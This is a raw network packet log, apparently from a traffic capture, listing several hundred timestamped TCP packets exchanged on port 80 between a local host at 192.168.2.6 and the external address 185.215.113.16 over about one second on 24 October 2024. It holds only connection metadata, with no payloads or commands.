Oct 24, 2024 18:09:13.974719048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974750996 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974756002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974756002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974756002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974756956 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974785089 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974819899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974832058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974832058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974853039 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.974860907 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.974914074 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.975065947 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.975117922 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.975128889 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.975183010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.003772020 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.003839970 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.003875017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.003907919 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.003941059 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.003973961 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.003982067 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.003982067 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.003983021 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.003983021 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.003983021 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004009008 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.004045010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.004062891 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004064083 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004080057 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.004090071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004110098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.004121065 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004163027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.004168987 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004215002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.004224062 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004247904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.004271030 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004281998 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.004291058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004313946 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.004332066 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004354000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.004357100 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004386902 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.004404068 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004421949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.004441977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004456043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.004472971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.004530907 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.005075932 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.005110025 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.005134106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.005152941 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.005160093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.005193949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.005213976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.005228043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.005234957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.005259991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.005281925 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.005294085 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.005300045 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.005326033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.005342007 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.005361080 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.005378962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.005393028 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.005399942 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.005428076 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.005438089 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.005460978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.005484104 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.005496979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.005501986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.005542994 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.046001911 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.046094894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.046112061 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.046171904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.046201944 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.046211004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.046225071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.046242952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.046258926 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.046277046 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.046284914 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.046312094 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.046336889 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.046345949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.046363115 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.046381950 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.046405077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.046416044 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.046431065 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.046451092 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.046468019 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.046485901 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.046506882 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.046535969 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.049360037 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.049417019 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.049535036 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.049582958 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.049587965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.049623013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.049639940 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.049654007 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.049675941 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.049688101 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.049721956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.049736023 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.049736977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.049757004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.049762011 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.049812078 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.049825907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.049876928 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.049877882 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.049911976 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.049930096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.049947023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.049959898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.050000906 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.050096989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.050129890 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.050148964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.050165892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.050172091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.050199986 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.050210953 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.050251961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.050323009 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.050374031 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.050374031 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.050406933 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.050424099 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.050460100 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.050527096 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.050578117 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.050594091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.050611019 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.050626993 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.050651073 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.050961018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051012993 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051017046 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051044941 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051067114 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051086903 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051099062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051131964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051151991 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051165104 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051179886 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051217079 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051342010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051390886 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051393032 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051444054 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051448107 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051477909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051496029 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051512957 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051527023 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051548958 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051562071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051605940 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051784039 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051837921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051839113 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051875114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051891088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051920891 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051930904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051964045 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.051983118 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.051997900 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.052005053 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.052047968 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.052284956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.052318096 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.052339077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.052352905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.052359104 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.052387953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.052403927 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.052432060 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.052484989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.052537918 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.052548885 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.052582026 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.052601099 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.052628994 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.095496893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.095556974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.095576048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.095629930 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.095635891 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.095690966 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.095715046 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.095766068 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.095766068 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.095815897 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.095818043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.095851898 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.095864058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.095887899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.095901966 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.095923901 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.095935106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.095958948 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.095972061 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.095993996 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.096009970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.096029997 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.096048117 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.096062899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.096071005 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.096097946 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.096113920 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.096132040 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.096151114 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.096168041 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.096180916 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.096204042 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.096221924 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.096239090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.096256018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.096272945 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.096278906 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.096307993 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.096324921 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.096342087 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.096354008 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.096383095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.096394062 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.096447945 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.122770071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.122823954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.122874022 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.122910023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.122906923 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.122942924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.122972012 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.122972965 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.122994900 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123003960 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123028040 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123051882 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123079062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123081923 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123112917 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123136044 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123147011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123155117 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123198032 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123203039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123231888 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123265982 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123282909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123291969 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123333931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123342991 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123368025 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123383045 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123402119 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123420000 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123435974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123456955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123492002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123497009 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123547077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123558998 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123593092 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123614073 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123627901 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123636961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123677015 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123680115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123713970 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123730898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123747110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123754025 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123794079 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123796940 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123831034 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123848915 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123871088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123878956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123918056 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123934031 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.123951912 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.123971939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.124001026 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.124001026 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.124034882 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.124058962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.124069929 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.124078989 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.124104023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.124118090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.124139071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.124155998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.124172926 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.124195099 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.124208927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.124233007 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.124242067 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.124250889 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.124279022 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.124293089 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.124324083 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.164952993 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.164987087 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.165020943 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.165060043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.165110111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.165143013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.165177107 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.165203094 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.165211916 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.165285110 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.165285110 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.165719986 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.165781975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:14.165791035 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:14.165824890 CEST	80	49994	185.215.113.16	192.168.2.6
